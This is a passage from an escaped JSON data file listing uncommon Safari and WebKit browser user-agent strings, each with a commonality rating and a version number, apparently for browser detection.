AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B71 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8A293 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7D11 Safari\\/528.16\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.7 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C5107a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.37 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.37\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C5055d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F68 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows; chromeframe\\/2.4.8.5746) AppleWebKit\\/1.0 (KHTML, like Gecko) Bromium Safari\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A4325c Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C107 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C89 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.6 (KHTML, like Gecko) Version\\/9.0.2 Safari\\/601.3.6\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A372 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5376e Safari\\/8536.25 ( compatible; CloudServerMarketSpider\\/1.0; +http:\\/\\/cloudservermarket.com\\/spider.html )\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/604.4.5 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-us) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit\\/533.17.8 (KHTML, like Gecko) Version\\/5.0.1 Safari\\/533.17.8\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/538.34.48 (KHTML, like Gecko) Version\\/8.0 Safari\\/538.35.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone Simulator; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7A341 Safari\\/528.16\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Surf\\/0.4.1 (X11; U; Unix; en-US) AppleWebKit\\/531.2+ Compatible (Safari)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Mobile\\/14D27 Safari Line\\/7.1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.4 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.4\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit\\/523.10.3 (KHTML, like Gecko) Version\\/3.0.4 Safari\\/523.10\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10601.4.2 Safari\\/10601.4.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.14\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.5 (KHTML, like Gecko) Version\\/9.0.1 Safari\\/601.2.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC_PH39100\\/1.63.502.4; en-us) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.1 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D5037e Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; de-de) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/600.7.12 (KHTML, like Gecko) WebClip\\/10600.7.2 Safari\\/10600.7.12\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A421 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D14 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.7 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"\\\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A372 Safari\\/604.1\\\"\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H141 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_4 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8K2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5260b Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) WebClip\\/11603.3.8 Safari\\/12603.3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-gb) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/8.0 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/603.1.12 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.12\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone U CPU iPhone OS 4_3_5 like Mac OS X en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.21 (KHTML, like Gecko) Version\\/10.0 Mobile\\/15A5278f Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F68 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.10.1.0 Mobile\\/15D100 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit\\/530.18 (KHTML, like Gecko) Version\\/4.0 Safari\\/528.17\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E233 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.5 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.34 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.34\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/536.26.17 (KHTML, like Gecko) Version\\/6.0.2 Safari\\/536.26.17\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; ARM Mac OS X) AppleWebKit\\/538.15 (KHTML, like Gecko) Safari\\/538.15 Version\\/6.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.23(KHTML, like Gecko) Version\\/10.2 Safari\\/604.1.23\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.0.0 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.7.0 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit\\/523.10.3 (KHTML, like Gecko) Version\\/3.0.4 Safari\\/523.10\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A466 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E236 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10602.4.8 Safari\\/10602.4.8.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A)\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Coast\\/1.0.2.62956 Mobile\\/10B329 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"9.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.18 (KHTML, like Gecko) Version\\/9.2 Safari\\/602.1.18\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B360 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G29 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/10.0 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/534.34 (KHTML, like Gecko) Designer Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.32 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.32\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7D11 Safari\\/528.16\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone Simulator; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5181f Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/525.18 (KHTML, like Gecko) Version\\/3.1.1 Safari\\/525.17\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B71 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit\\/523.12 (KHTML, like Gecko) Version\\/3.0.4 Safari\\/523.12\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/8.0 Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU iPad OS 8_1_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B466 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.6 Safari\\/534.57.2\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12F69 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13BC75 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/604.1.5 (KHTML, like Gecko) Version\\/10.2 Safari\\/604.1.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; nl-nl) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G57 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit\\/535.18.5 (KHTML, like Gecko) Version\\/5.2 Safari\\/535.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.41.4.0 Mobile\\/15B202 Safari\\/604.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.4.5.1; U; en-US) AppleWebKit\\/532.2 (KHTML, like Gecko) Version\\/1.0 Safari\\/532.2 Pixi\\/1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; en-US) AppleWebKit\\/535.12 (KHTML, like Gecko) Version\\/5.0.1 Safari\\/535.12\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Coast\\/2.0.0.67915 Mobile\\/11B554a Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Ipad Iphone Safari\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A ACHEETAHI\\/1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.38\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Safari\\/603.3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.1.41 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A456 Safari\\/602.1 AlohaBrowser\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/5.0.6 Safari\\/533.22.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Phone; U; CPU like Mac OS X; en-gb) AppleWebKit\\/532+ (KHTML, like Gecko) Version\\/10.1 Mobile\\/1A538b Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B144 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.50\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.3 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F5080a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12F70 Safari\\/600.1.4 (compatible; SBooksNet\\/1.0; +http:\\/\\/s-books.net\\/crawl_policy)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5214d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/538.44 (KHTML, like Gecko) Version\\/8.0 Safari\\/538.44\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_10_5 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_0 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B500 